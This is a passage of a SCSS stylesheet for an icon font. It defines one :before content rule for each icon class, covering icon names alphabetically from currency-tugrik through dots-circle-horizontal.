$ti-icon-currency-tugrik;\n}\n\n.#{$ti-prefix}-currency-won:before {\n  content: $ti-icon-currency-won;\n}\n\n.#{$ti-prefix}-currency-xrp:before {\n  content: $ti-icon-currency-xrp;\n}\n\n.#{$ti-prefix}-currency-yen:before {\n  content: $ti-icon-currency-yen;\n}\n\n.#{$ti-prefix}-currency-yen-off:before {\n  content: $ti-icon-currency-yen-off;\n}\n\n.#{$ti-prefix}-currency-yuan:before {\n  content: $ti-icon-currency-yuan;\n}\n\n.#{$ti-prefix}-currency-zloty:before {\n  content: $ti-icon-currency-zloty;\n}\n\n.#{$ti-prefix}-current-location:before {\n  content: $ti-icon-current-location;\n}\n\n.#{$ti-prefix}-current-location-off:before {\n  content: $ti-icon-current-location-off;\n}\n\n.#{$ti-prefix}-cursor-off:before {\n  content: $ti-icon-cursor-off;\n}\n\n.#{$ti-prefix}-cursor-text:before {\n  content: $ti-icon-cursor-text;\n}\n\n.#{$ti-prefix}-cut:before {\n  content: $ti-icon-cut;\n}\n\n.#{$ti-prefix}-cylinder:before {\n  content: $ti-icon-cylinder;\n}\n\n.#{$ti-prefix}-cylinder-off:before {\n  content: $ti-icon-cylinder-off;\n}\n\n.#{$ti-prefix}-cylinder-plus:before {\n  content: $ti-icon-cylinder-plus;\n}\n\n.#{$ti-prefix}-dashboard:before {\n  content: $ti-icon-dashboard;\n}\n\n.#{$ti-prefix}-dashboard-off:before {\n  content: $ti-icon-dashboard-off;\n}\n\n.#{$ti-prefix}-database:before {\n  content: $ti-icon-database;\n}\n\n.#{$ti-prefix}-database-cog:before {\n  content: $ti-icon-database-cog;\n}\n\n.#{$ti-prefix}-database-dollar:before {\n  content: $ti-icon-database-dollar;\n}\n\n.#{$ti-prefix}-database-edit:before {\n  content: $ti-icon-database-edit;\n}\n\n.#{$ti-prefix}-database-exclamation:before {\n  content: $ti-icon-database-exclamation;\n}\n\n.#{$ti-prefix}-database-export:before {\n  content: $ti-icon-database-export;\n}\n\n.#{$ti-prefix}-database-heart:before {\n  content: $ti-icon-database-heart;\n}\n\n.#{$ti-prefix}-database-import:before {\n  content: $ti-icon-database-import;\n}\n\n.#{$ti-prefix}-database-leak:before {\n  content: $ti-icon-database-leak;\n}\n\n.#{$ti-prefix}-database-minus:before {\n  content: $ti-icon-database-minus;\n}\n\n.#{$ti-prefix}-database-off:before {\n  content: $ti-icon-database-off;\n}\n\n.#{$ti-prefix}-database-plus:before {\n  content: $ti-icon-database-plus;\n}\n\n.#{$ti-prefix}-database-search:before {\n  content: $ti-icon-database-search;\n}\n\n.#{$ti-prefix}-database-share:before {\n  content: $ti-icon-database-share;\n}\n\n.#{$ti-prefix}-database-smile:before {\n  content: $ti-icon-database-smile;\n}\n\n.#{$ti-prefix}-database-star:before {\n  content: $ti-icon-database-star;\n}\n\n.#{$ti-prefix}-database-x:before {\n  content: $ti-icon-database-x;\n}\n\n.#{$ti-prefix}-decimal:before {\n  content: $ti-icon-decimal;\n}\n\n.#{$ti-prefix}-deer:before {\n  content: $ti-icon-deer;\n}\n\n.#{$ti-prefix}-delta:before {\n  content: $ti-icon-delta;\n}\n\n.#{$ti-prefix}-dental:before {\n  content: $ti-icon-dental;\n}\n\n.#{$ti-prefix}-dental-broken:before {\n  content: $ti-icon-dental-broken;\n}\n\n.#{$ti-prefix}-dental-off:before {\n  content: $ti-icon-dental-off;\n}\n\n.#{$ti-prefix}-deselect:before {\n  content: $ti-icon-deselect;\n}\n\n.#{$ti-prefix}-desk:before {\n  content: $ti-icon-desk;\n}\n\n.#{$ti-prefix}-details:before {\n  content: $ti-icon-details;\n}\n\n.#{$ti-prefix}-details-off:before {\n  content: $ti-icon-details-off;\n}\n\n.#{$ti-prefix}-device-airpods:before {\n  content: $ti-icon-device-airpods;\n}\n\n.#{$ti-prefix}-device-airpods-case:before {\n  content: $ti-icon-device-airpods-case;\n}\n\n.#{$ti-prefix}-device-airtag:before {\n  content: $ti-icon-device-airtag;\n}\n\n.#{$ti-prefix}-device-analytics:before {\n  content: $ti-icon-device-analytics;\n}\n\n.#{$ti-prefix}-device-audio-tape:before {\n  content: $ti-icon-device-audio-tape;\n}\n\n.#{$ti-prefix}-device-camera-phone:before {\n  content: $ti-icon-device-camera-phone;\n}\n\n.#{$ti-prefix}-device-cctv:before {\n  content: $ti-icon-device-cctv;\n}\n\n.#{$ti-prefix}-device-cctv-off:before {\n  content: $ti-icon-device-cctv-off;\n}\n\n.#{$ti-prefix}-device-computer-camera:before {\n  content: $ti-icon-device-computer-camera;\n}\n\n.#{$ti-prefix}-device-computer-camera-off:before {\n  content: $ti-icon-device-computer-camera-off;\n}\n\n.#{$ti-prefix}-device-desktop:before {\n  content: $ti-icon-device-desktop;\n}\n\n.#{$ti-prefix}-device-desktop-analytics:before {\n  content: $ti-icon-device-desktop-analytics;\n}\n\n.#{$ti-prefix}-device-desktop-bolt:before {\n  content: $ti-icon-device-desktop-bolt;\n}\n\n.#{$ti-prefix}-device-desktop-cancel:before {\n  content: $ti-icon-device-desktop-cancel;\n}\n\n.#{$ti-prefix}-device-desktop-check:before {\n  content: $ti-icon-device-desktop-check;\n}\n\n.#{$ti-prefix}-device-desktop-code:before {\n  content: $ti-icon-device-desktop-code;\n}\n\n.#{$ti-prefix}-device-desktop-cog:before {\n  content: $ti-icon-device-desktop-cog;\n}\n\n.#{$ti-prefix}-device-desktop-dollar:before {\n  content: $ti-icon-device-desktop-dollar;\n}\n\n.#{$ti-prefix}-device-desktop-down:before {\n  content: $ti-icon-device-desktop-down;\n}\n\n.#{$ti-prefix}-device-desktop-exclamation:before {\n  content: $ti-icon-device-desktop-exclamation;\n}\n\n.#{$ti-prefix}-device-desktop-heart:before {\n  content: $ti-icon-device-desktop-heart;\n}\n\n.#{$ti-prefix}-device-desktop-minus:before {\n  content: $ti-icon-device-desktop-minus;\n}\n\n.#{$ti-prefix}-device-desktop-off:before {\n  content: $ti-icon-device-desktop-off;\n}\n\n.#{$ti-prefix}-device-desktop-pause:before {\n  content: $ti-icon-device-desktop-pause;\n}\n\n.#{$ti-prefix}-device-desktop-pin:before {\n  content: $ti-icon-device-desktop-pin;\n}\n\n.#{$ti-prefix}-device-desktop-plus:before {\n  content: $ti-icon-device-desktop-plus;\n}\n\n.#{$ti-prefix}-device-desktop-question:before {\n  content: $ti-icon-device-desktop-question;\n}\n\n.#{$ti-prefix}-device-desktop-search:before {\n  content: $ti-icon-device-desktop-search;\n}\n\n.#{$ti-prefix}-device-desktop-share:before {\n  content: $ti-icon-device-desktop-share;\n}\n\n.#{$ti-prefix}-device-desktop-star:before {\n  content: $ti-icon-device-desktop-star;\n}\n\n.#{$ti-prefix}-device-desktop-up:before {\n  content: $ti-icon-device-desktop-up;\n}\n\n.#{$ti-prefix}-device-desktop-x:before {\n  content: $ti-icon-device-desktop-x;\n}\n\n.#{$ti-prefix}-device-floppy:before {\n  content: $ti-icon-device-floppy;\n}\n\n.#{$ti-prefix}-device-gamepad:before {\n  content: $ti-icon-device-gamepad;\n}\n\n.#{$ti-prefix}-device-gamepad-2:before {\n  content: $ti-icon-device-gamepad-2;\n}\n\n.#{$ti-prefix}-device-gamepad-3:before {\n  content: $ti-icon-device-gamepad-3;\n}\n\n.#{$ti-prefix}-device-heart-monitor:before {\n  content: $ti-icon-device-heart-monitor;\n}\n\n.#{$ti-prefix}-device-heart-monitor-filled:before {\n  content: $ti-icon-device-heart-monitor-filled;\n}\n\n.#{$ti-prefix}-device-imac:before {\n  content: $ti-icon-device-imac;\n}\n\n.#{$ti-prefix}-device-imac-bolt:before {\n  content: $ti-icon-device-imac-bolt;\n}\n\n.#{$ti-prefix}-device-imac-cancel:before {\n  content: $ti-icon-device-imac-cancel;\n}\n\n.#{$ti-prefix}-device-imac-check:before {\n  content: $ti-icon-device-imac-check;\n}\n\n.#{$ti-prefix}-device-imac-code:before {\n  content: $ti-icon-device-imac-code;\n}\n\n.#{$ti-prefix}-device-imac-cog:before {\n  content: $ti-icon-device-imac-cog;\n}\n\n.#{$ti-prefix}-device-imac-dollar:before {\n  content: $ti-icon-device-imac-dollar;\n}\n\n.#{$ti-prefix}-device-imac-down:before {\n  content: $ti-icon-device-imac-down;\n}\n\n.#{$ti-prefix}-device-imac-exclamation:before {\n  content: $ti-icon-device-imac-exclamation;\n}\n\n.#{$ti-prefix}-device-imac-heart:before {\n  content: $ti-icon-device-imac-heart;\n}\n\n.#{$ti-prefix}-device-imac-minus:before {\n  content: $ti-icon-device-imac-minus;\n}\n\n.#{$ti-prefix}-device-imac-off:before {\n  content: $ti-icon-device-imac-off;\n}\n\n.#{$ti-prefix}-device-imac-pause:before {\n  content: $ti-icon-device-imac-pause;\n}\n\n.#{$ti-prefix}-device-imac-pin:before {\n  content: $ti-icon-device-imac-pin;\n}\n\n.#{$ti-prefix}-device-imac-plus:before {\n  content: $ti-icon-device-imac-plus;\n}\n\n.#{$ti-prefix}-device-imac-question:before {\n  content: $ti-icon-device-imac-question;\n}\n\n.#{$ti-prefix}-device-imac-search:before {\n  content: $ti-icon-device-imac-search;\n}\n\n.#{$ti-prefix}-device-imac-share:before {\n  content: $ti-icon-device-imac-share;\n}\n\n.#{$ti-prefix}-device-imac-star:before {\n  content: $ti-icon-device-imac-star;\n}\n\n.#{$ti-prefix}-device-imac-up:before {\n  content: $ti-icon-device-imac-up;\n}\n\n.#{$ti-prefix}-device-imac-x:before {\n  content: $ti-icon-device-imac-x;\n}\n\n.#{$ti-prefix}-device-ipad:before {\n  content: $ti-icon-device-ipad;\n}\n\n.#{$ti-prefix}-device-ipad-bolt:before {\n  content: $ti-icon-device-ipad-bolt;\n}\n\n.#{$ti-prefix}-device-ipad-cancel:before {\n  content: $ti-icon-device-ipad-cancel;\n}\n\n.#{$ti-prefix}-device-ipad-check:before {\n  content: $ti-icon-device-ipad-check;\n}\n\n.#{$ti-prefix}-device-ipad-code:before {\n  content: $ti-icon-device-ipad-code;\n}\n\n.#{$ti-prefix}-device-ipad-cog:before {\n  content: $ti-icon-device-ipad-cog;\n}\n\n.#{$ti-prefix}-device-ipad-dollar:before {\n  content: $ti-icon-device-ipad-dollar;\n}\n\n.#{$ti-prefix}-device-ipad-down:before {\n  content: $ti-icon-device-ipad-down;\n}\n\n.#{$ti-prefix}-device-ipad-exclamation:before {\n  content: $ti-icon-device-ipad-exclamation;\n}\n\n.#{$ti-prefix}-device-ipad-heart:before {\n  content: $ti-icon-device-ipad-heart;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal:before {\n  content: $ti-icon-device-ipad-horizontal;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-bolt:before {\n  content: $ti-icon-device-ipad-horizontal-bolt;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-cancel:before {\n  content: $ti-icon-device-ipad-horizontal-cancel;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-check:before {\n  content: $ti-icon-device-ipad-horizontal-check;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-code:before {\n  content: $ti-icon-device-ipad-horizontal-code;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-cog:before {\n  content: $ti-icon-device-ipad-horizontal-cog;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-dollar:before {\n  content: $ti-icon-device-ipad-horizontal-dollar;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-down:before {\n  content: $ti-icon-device-ipad-horizontal-down;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-exclamation:before {\n  content: $ti-icon-device-ipad-horizontal-exclamation;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-heart:before {\n  content: $ti-icon-device-ipad-horizontal-heart;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-minus:before {\n  content: $ti-icon-device-ipad-horizontal-minus;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-off:before {\n  content: $ti-icon-device-ipad-horizontal-off;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-pause:before {\n  content: $ti-icon-device-ipad-horizontal-pause;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-pin:before {\n  content: $ti-icon-device-ipad-horizontal-pin;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-plus:before {\n  content: $ti-icon-device-ipad-horizontal-plus;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-question:before {\n  content: $ti-icon-device-ipad-horizontal-question;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-search:before {\n  content: $ti-icon-device-ipad-horizontal-search;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-share:before {\n  content: $ti-icon-device-ipad-horizontal-share;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-star:before {\n  content: $ti-icon-device-ipad-horizontal-star;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-up:before {\n  content: $ti-icon-device-ipad-horizontal-up;\n}\n\n.#{$ti-prefix}-device-ipad-horizontal-x:before {\n  content: $ti-icon-device-ipad-horizontal-x;\n}\n\n.#{$ti-prefix}-device-ipad-minus:before {\n  content: $ti-icon-device-ipad-minus;\n}\n\n.#{$ti-prefix}-device-ipad-off:before {\n  content: $ti-icon-device-ipad-off;\n}\n\n.#{$ti-prefix}-device-ipad-pause:before {\n  content: $ti-icon-device-ipad-pause;\n}\n\n.#{$ti-prefix}-device-ipad-pin:before {\n  content: $ti-icon-device-ipad-pin;\n}\n\n.#{$ti-prefix}-device-ipad-plus:before {\n  content: $ti-icon-device-ipad-plus;\n}\n\n.#{$ti-prefix}-device-ipad-question:before {\n  content: $ti-icon-device-ipad-question;\n}\n\n.#{$ti-prefix}-device-ipad-search:before {\n  content: $ti-icon-device-ipad-search;\n}\n\n.#{$ti-prefix}-device-ipad-share:before {\n  content: $ti-icon-device-ipad-share;\n}\n\n.#{$ti-prefix}-device-ipad-star:before {\n  content: $ti-icon-device-ipad-star;\n}\n\n.#{$ti-prefix}-device-ipad-up:before {\n  content: $ti-icon-device-ipad-up;\n}\n\n.#{$ti-prefix}-device-ipad-x:before {\n  content: $ti-icon-device-ipad-x;\n}\n\n.#{$ti-prefix}-device-landline-phone:before {\n  content: $ti-icon-device-landline-phone;\n}\n\n.#{$ti-prefix}-device-laptop:before {\n  content: $ti-icon-device-laptop;\n}\n\n.#{$ti-prefix}-device-laptop-off:before {\n  content: $ti-icon-device-laptop-off;\n}\n\n.#{$ti-prefix}-device-mobile:before {\n  content: $ti-icon-device-mobile;\n}\n\n.#{$ti-prefix}-device-mobile-bolt:before {\n  content: $ti-icon-device-mobile-bolt;\n}\n\n.#{$ti-prefix}-device-mobile-cancel:before {\n  content: $ti-icon-device-mobile-cancel;\n}\n\n.#{$ti-prefix}-device-mobile-charging:before {\n  content: $ti-icon-device-mobile-charging;\n}\n\n.#{$ti-prefix}-device-mobile-check:before {\n  content: $ti-icon-device-mobile-check;\n}\n\n.#{$ti-prefix}-device-mobile-code:before {\n  content: $ti-icon-device-mobile-code;\n}\n\n.#{$ti-prefix}-device-mobile-cog:before {\n  content: $ti-icon-device-mobile-cog;\n}\n\n.#{$ti-prefix}-device-mobile-dollar:before {\n  content: $ti-icon-device-mobile-dollar;\n}\n\n.#{$ti-prefix}-device-mobile-down:before {\n  content: $ti-icon-device-mobile-down;\n}\n\n.#{$ti-prefix}-device-mobile-exclamation:before {\n  content: $ti-icon-device-mobile-exclamation;\n}\n\n.#{$ti-prefix}-device-mobile-filled:before {\n  content: $ti-icon-device-mobile-filled;\n}\n\n.#{$ti-prefix}-device-mobile-heart:before {\n  content: $ti-icon-device-mobile-heart;\n}\n\n.#{$ti-prefix}-device-mobile-message:before {\n  content: $ti-icon-device-mobile-message;\n}\n\n.#{$ti-prefix}-device-mobile-minus:before {\n  content: $ti-icon-device-mobile-minus;\n}\n\n.#{$ti-prefix}-device-mobile-off:before {\n  content: $ti-icon-device-mobile-off;\n}\n\n.#{$ti-prefix}-device-mobile-pause:before {\n  content: $ti-icon-device-mobile-pause;\n}\n\n.#{$ti-prefix}-device-mobile-pin:before {\n  content: $ti-icon-device-mobile-pin;\n}\n\n.#{$ti-prefix}-device-mobile-plus:before {\n  content: $ti-icon-device-mobile-plus;\n}\n\n.#{$ti-prefix}-device-mobile-question:before {\n  content: $ti-icon-device-mobile-question;\n}\n\n.#{$ti-prefix}-device-mobile-rotated:before {\n  content: $ti-icon-device-mobile-rotated;\n}\n\n.#{$ti-prefix}-device-mobile-search:before {\n  content: $ti-icon-device-mobile-search;\n}\n\n.#{$ti-prefix}-device-mobile-share:before {\n  content: $ti-icon-device-mobile-share;\n}\n\n.#{$ti-prefix}-device-mobile-star:before {\n  content: $ti-icon-device-mobile-star;\n}\n\n.#{$ti-prefix}-device-mobile-up:before {\n  content: $ti-icon-device-mobile-up;\n}\n\n.#{$ti-prefix}-device-mobile-vibration:before {\n  content: $ti-icon-device-mobile-vibration;\n}\n\n.#{$ti-prefix}-device-mobile-x:before {\n  content: $ti-icon-device-mobile-x;\n}\n\n.#{$ti-prefix}-device-nintendo:before {\n  content: $ti-icon-device-nintendo;\n}\n\n.#{$ti-prefix}-device-nintendo-off:before {\n  content: $ti-icon-device-nintendo-off;\n}\n\n.#{$ti-prefix}-device-projector:before {\n  content: $ti-icon-device-projector;\n}\n\n.#{$ti-prefix}-device-remote:before {\n  content: $ti-icon-device-remote;\n}\n\n.#{$ti-prefix}-device-sd-card:before {\n  content: $ti-icon-device-sd-card;\n}\n\n.#{$ti-prefix}-device-sim:before {\n  content: $ti-icon-device-sim;\n}\n\n.#{$ti-prefix}-device-sim-1:before {\n  content: $ti-icon-device-sim-1;\n}\n\n.#{$ti-prefix}-device-sim-2:before {\n  content: $ti-icon-device-sim-2;\n}\n\n.#{$ti-prefix}-device-sim-3:before {\n  content: $ti-icon-device-sim-3;\n}\n\n.#{$ti-prefix}-device-speaker:before {\n  content: $ti-icon-device-speaker;\n}\n\n.#{$ti-prefix}-device-speaker-off:before {\n  content: $ti-icon-device-speaker-off;\n}\n\n.#{$ti-prefix}-device-tablet:before {\n  content: $ti-icon-device-tablet;\n}\n\n.#{$ti-prefix}-device-tablet-bolt:before {\n  content: $ti-icon-device-tablet-bolt;\n}\n\n.#{$ti-prefix}-device-tablet-cancel:before {\n  content: $ti-icon-device-tablet-cancel;\n}\n\n.#{$ti-prefix}-device-tablet-check:before {\n  content: $ti-icon-device-tablet-check;\n}\n\n.#{$ti-prefix}-device-tablet-code:before {\n  content: $ti-icon-device-tablet-code;\n}\n\n.#{$ti-prefix}-device-tablet-cog:before {\n  content: $ti-icon-device-tablet-cog;\n}\n\n.#{$ti-prefix}-device-tablet-dollar:before {\n  content: $ti-icon-device-tablet-dollar;\n}\n\n.#{$ti-prefix}-device-tablet-down:before {\n  content: $ti-icon-device-tablet-down;\n}\n\n.#{$ti-prefix}-device-tablet-exclamation:before {\n  content: $ti-icon-device-tablet-exclamation;\n}\n\n.#{$ti-prefix}-device-tablet-filled:before {\n  content: $ti-icon-device-tablet-filled;\n}\n\n.#{$ti-prefix}-device-tablet-heart:before {\n  content: $ti-icon-device-tablet-heart;\n}\n\n.#{$ti-prefix}-device-tablet-minus:before {\n  content: $ti-icon-device-tablet-minus;\n}\n\n.#{$ti-prefix}-device-tablet-off:before {\n  content: $ti-icon-device-tablet-off;\n}\n\n.#{$ti-prefix}-device-tablet-pause:before {\n  content: $ti-icon-device-tablet-pause;\n}\n\n.#{$ti-prefix}-device-tablet-pin:before {\n  content: $ti-icon-device-tablet-pin;\n}\n\n.#{$ti-prefix}-device-tablet-plus:before {\n  content: $ti-icon-device-tablet-plus;\n}\n\n.#{$ti-prefix}-device-tablet-question:before {\n  content: $ti-icon-device-tablet-question;\n}\n\n.#{$ti-prefix}-device-tablet-search:before {\n  content: $ti-icon-device-tablet-search;\n}\n\n.#{$ti-prefix}-device-tablet-share:before {\n  content: $ti-icon-device-tablet-share;\n}\n\n.#{$ti-prefix}-device-tablet-star:before {\n  content: $ti-icon-device-tablet-star;\n}\n\n.#{$ti-prefix}-device-tablet-up:before {\n  content: $ti-icon-device-tablet-up;\n}\n\n.#{$ti-prefix}-device-tablet-x:before {\n  content: $ti-icon-device-tablet-x;\n}\n\n.#{$ti-prefix}-device-tv:before {\n  content: $ti-icon-device-tv;\n}\n\n.#{$ti-prefix}-device-tv-off:before {\n  content: $ti-icon-device-tv-off;\n}\n\n.#{$ti-prefix}-device-tv-old:before {\n  content: $ti-icon-device-tv-old;\n}\n\n.#{$ti-prefix}-device-usb:before {\n  content: $ti-icon-device-usb;\n}\n\n.#{$ti-prefix}-device-vision-pro:before {\n  content: $ti-icon-device-vision-pro;\n}\n\n.#{$ti-prefix}-device-watch:before {\n  content: $ti-icon-device-watch;\n}\n\n.#{$ti-prefix}-device-watch-bolt:before {\n  content: $ti-icon-device-watch-bolt;\n}\n\n.#{$ti-prefix}-device-watch-cancel:before {\n  content: $ti-icon-device-watch-cancel;\n}\n\n.#{$ti-prefix}-device-watch-check:before {\n  content: $ti-icon-device-watch-check;\n}\n\n.#{$ti-prefix}-device-watch-code:before {\n  content: $ti-icon-device-watch-code;\n}\n\n.#{$ti-prefix}-device-watch-cog:before {\n  content: $ti-icon-device-watch-cog;\n}\n\n.#{$ti-prefix}-device-watch-dollar:before {\n  content: $ti-icon-device-watch-dollar;\n}\n\n.#{$ti-prefix}-device-watch-down:before {\n  content: $ti-icon-device-watch-down;\n}\n\n.#{$ti-prefix}-device-watch-exclamation:before {\n  content: $ti-icon-device-watch-exclamation;\n}\n\n.#{$ti-prefix}-device-watch-heart:before {\n  content: $ti-icon-device-watch-heart;\n}\n\n.#{$ti-prefix}-device-watch-minus:before {\n  content: $ti-icon-device-watch-minus;\n}\n\n.#{$ti-prefix}-device-watch-off:before {\n  content: $ti-icon-device-watch-off;\n}\n\n.#{$ti-prefix}-device-watch-pause:before {\n  content: $ti-icon-device-watch-pause;\n}\n\n.#{$ti-prefix}-device-watch-pin:before {\n  content: $ti-icon-device-watch-pin;\n}\n\n.#{$ti-prefix}-device-watch-plus:before {\n  content: $ti-icon-device-watch-plus;\n}\n\n.#{$ti-prefix}-device-watch-question:before {\n  content: $ti-icon-device-watch-question;\n}\n\n.#{$ti-prefix}-device-watch-search:before {\n  content: $ti-icon-device-watch-search;\n}\n\n.#{$ti-prefix}-device-watch-share:before {\n  content: $ti-icon-device-watch-share;\n}\n\n.#{$ti-prefix}-device-watch-star:before {\n  content: $ti-icon-device-watch-star;\n}\n\n.#{$ti-prefix}-device-watch-stats:before {\n  content: $ti-icon-device-watch-stats;\n}\n\n.#{$ti-prefix}-device-watch-stats-2:before {\n  content: $ti-icon-device-watch-stats-2;\n}\n\n.#{$ti-prefix}-device-watch-up:before {\n  content: $ti-icon-device-watch-up;\n}\n\n.#{$ti-prefix}-device-watch-x:before {\n  content: $ti-icon-device-watch-x;\n}\n\n.#{$ti-prefix}-devices:before {\n  content: $ti-icon-devices;\n}\n\n.#{$ti-prefix}-devices-2:before {\n  content: $ti-icon-devices-2;\n}\n\n.#{$ti-prefix}-devices-bolt:before {\n  content: $ti-icon-devices-bolt;\n}\n\n.#{$ti-prefix}-devices-cancel:before {\n  content: $ti-icon-devices-cancel;\n}\n\n.#{$ti-prefix}-devices-check:before {\n  content: $ti-icon-devices-check;\n}\n\n.#{$ti-prefix}-devices-code:before {\n  content: $ti-icon-devices-code;\n}\n\n.#{$ti-prefix}-devices-cog:before {\n  content: $ti-icon-devices-cog;\n}\n\n.#{$ti-prefix}-devices-dollar:before {\n  content: $ti-icon-devices-dollar;\n}\n\n.#{$ti-prefix}-devices-down:before {\n  content: $ti-icon-devices-down;\n}\n\n.#{$ti-prefix}-devices-exclamation:before {\n  content: $ti-icon-devices-exclamation;\n}\n\n.#{$ti-prefix}-devices-heart:before {\n  content: $ti-icon-devices-heart;\n}\n\n.#{$ti-prefix}-devices-minus:before {\n  content: $ti-icon-devices-minus;\n}\n\n.#{$ti-prefix}-devices-off:before {\n  content: $ti-icon-devices-off;\n}\n\n.#{$ti-prefix}-devices-pause:before {\n  content: $ti-icon-devices-pause;\n}\n\n.#{$ti-prefix}-devices-pc:before {\n  content: $ti-icon-devices-pc;\n}\n\n.#{$ti-prefix}-devices-pc-off:before {\n  content: $ti-icon-devices-pc-off;\n}\n\n.#{$ti-prefix}-devices-pin:before {\n  content: $ti-icon-devices-pin;\n}\n\n.#{$ti-prefix}-devices-plus:before {\n  content: $ti-icon-devices-plus;\n}\n\n.#{$ti-prefix}-devices-question:before {\n  content: $ti-icon-devices-question;\n}\n\n.#{$ti-prefix}-devices-search:before {\n  content: $ti-icon-devices-search;\n}\n\n.#{$ti-prefix}-devices-share:before {\n  content: $ti-icon-devices-share;\n}\n\n.#{$ti-prefix}-devices-star:before {\n  content: $ti-icon-devices-star;\n}\n\n.#{$ti-prefix}-devices-up:before {\n  content: $ti-icon-devices-up;\n}\n\n.#{$ti-prefix}-devices-x:before {\n  content: $ti-icon-devices-x;\n}\n\n.#{$ti-prefix}-diabolo:before {\n  content: $ti-icon-diabolo;\n}\n\n.#{$ti-prefix}-diabolo-off:before {\n  content: $ti-icon-diabolo-off;\n}\n\n.#{$ti-prefix}-diabolo-plus:before {\n  content: $ti-icon-diabolo-plus;\n}\n\n.#{$ti-prefix}-dialpad:before {\n  content: $ti-icon-dialpad;\n}\n\n.#{$ti-prefix}-dialpad-filled:before {\n  content: $ti-icon-dialpad-filled;\n}\n\n.#{$ti-prefix}-dialpad-off:before {\n  content: $ti-icon-dialpad-off;\n}\n\n.#{$ti-prefix}-diamond:before {\n  content: $ti-icon-diamond;\n}\n\n.#{$ti-prefix}-diamond-filled:before {\n  content: $ti-icon-diamond-filled;\n}\n\n.#{$ti-prefix}-diamond-off:before {\n  content: $ti-icon-diamond-off;\n}\n\n.#{$ti-prefix}-diamonds:before {\n  content: $ti-icon-diamonds;\n}\n\n.#{$ti-prefix}-diamonds-filled:before {\n  content: $ti-icon-diamonds-filled;\n}\n\n.#{$ti-prefix}-dice:before {\n  content: $ti-icon-dice;\n}\n\n.#{$ti-prefix}-dice-1:before {\n  content: $ti-icon-dice-1;\n}\n\n.#{$ti-prefix}-dice-1-filled:before {\n  content: $ti-icon-dice-1-filled;\n}\n\n.#{$ti-prefix}-dice-2:before {\n  content: $ti-icon-dice-2;\n}\n\n.#{$ti-prefix}-dice-2-filled:before {\n  content: $ti-icon-dice-2-filled;\n}\n\n.#{$ti-prefix}-dice-3:before {\n  content: $ti-icon-dice-3;\n}\n\n.#{$ti-prefix}-dice-3-filled:before {\n  content: $ti-icon-dice-3-filled;\n}\n\n.#{$ti-prefix}-dice-4:before {\n  content: $ti-icon-dice-4;\n}\n\n.#{$ti-prefix}-dice-4-filled:before {\n  content: $ti-icon-dice-4-filled;\n}\n\n.#{$ti-prefix}-dice-5:before {\n  content: $ti-icon-dice-5;\n}\n\n.#{$ti-prefix}-dice-5-filled:before {\n  content: $ti-icon-dice-5-filled;\n}\n\n.#{$ti-prefix}-dice-6:before {\n  content: $ti-icon-dice-6;\n}\n\n.#{$ti-prefix}-dice-6-filled:before {\n  content: $ti-icon-dice-6-filled;\n}\n\n.#{$ti-prefix}-dice-filled:before {\n  content: $ti-icon-dice-filled;\n}\n\n.#{$ti-prefix}-dimensions:before {\n  content: $ti-icon-dimensions;\n}\n\n.#{$ti-prefix}-direction:before {\n  content: $ti-icon-direction;\n}\n\n.#{$ti-prefix}-direction-arrows:before {\n  content: $ti-icon-direction-arrows;\n}\n\n.#{$ti-prefix}-direction-horizontal:before {\n  content: $ti-icon-direction-horizontal;\n}\n\n.#{$ti-prefix}-direction-sign:before {\n  content: $ti-icon-direction-sign;\n}\n\n.#{$ti-prefix}-direction-sign-filled:before {\n  content: $ti-icon-direction-sign-filled;\n}\n\n.#{$ti-prefix}-direction-sign-off:before {\n  content: $ti-icon-direction-sign-off;\n}\n\n.#{$ti-prefix}-directions:before {\n  content: $ti-icon-directions;\n}\n\n.#{$ti-prefix}-directions-off:before {\n  content: $ti-icon-directions-off;\n}\n\n.#{$ti-prefix}-disabled:before {\n  content: $ti-icon-disabled;\n}\n\n.#{$ti-prefix}-disabled-2:before {\n  content: $ti-icon-disabled-2;\n}\n\n.#{$ti-prefix}-disabled-off:before {\n  content: $ti-icon-disabled-off;\n}\n\n.#{$ti-prefix}-disc:before {\n  content: $ti-icon-disc;\n}\n\n.#{$ti-prefix}-disc-golf:before {\n  content: $ti-icon-disc-golf;\n}\n\n.#{$ti-prefix}-disc-off:before {\n  content: $ti-icon-disc-off;\n}\n\n.#{$ti-prefix}-discount:before {\n  content: $ti-icon-discount;\n}\n\n.#{$ti-prefix}-discount-off:before {\n  content: $ti-icon-discount-off;\n}\n\n.#{$ti-prefix}-divide:before {\n  content: $ti-icon-divide;\n}\n\n.#{$ti-prefix}-dna:before {\n  content: $ti-icon-dna;\n}\n\n.#{$ti-prefix}-dna-2:before {\n  content: $ti-icon-dna-2;\n}\n\n.#{$ti-prefix}-dna-2-off:before {\n  content: $ti-icon-dna-2-off;\n}\n\n.#{$ti-prefix}-dna-off:before {\n  content: $ti-icon-dna-off;\n}\n\n.#{$ti-prefix}-dog:before {\n  content: $ti-icon-dog;\n}\n\n.#{$ti-prefix}-dog-bowl:before {\n  content: $ti-icon-dog-bowl;\n}\n\n.#{$ti-prefix}-door:before {\n  content: $ti-icon-door;\n}\n\n.#{$ti-prefix}-door-enter:before {\n  content: $ti-icon-door-enter;\n}\n\n.#{$ti-prefix}-door-exit:before {\n  content: $ti-icon-door-exit;\n}\n\n.#{$ti-prefix}-door-off:before {\n  content: $ti-icon-door-off;\n}\n\n.#{$ti-prefix}-dots:before {\n  content: $ti-icon-dots;\n}\n\n.#{$ti-prefix}-dots-circle-horizontal:before {\n  content: 